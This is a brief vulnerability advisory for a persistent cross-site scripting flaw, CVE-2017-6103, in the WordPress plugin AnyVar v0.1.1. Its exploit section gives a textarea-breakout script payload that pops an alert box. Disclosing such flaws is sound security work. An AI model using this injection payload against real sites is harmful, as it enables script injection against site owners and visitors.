Persistent XSS Vulnerability in Wordpress plugin AnyVar v0.1.1
CVE ID(s):
CVE-2017-6103
Description:
AnyVar is a simple search and replace plugin. It lets you add changeable variables (text snippets) to posts, sidebars, widgets, links & themes.
Exploit:
In the text field box the following will trigger a JS alert popup: </textarea><script>alert(1);</script><textarea>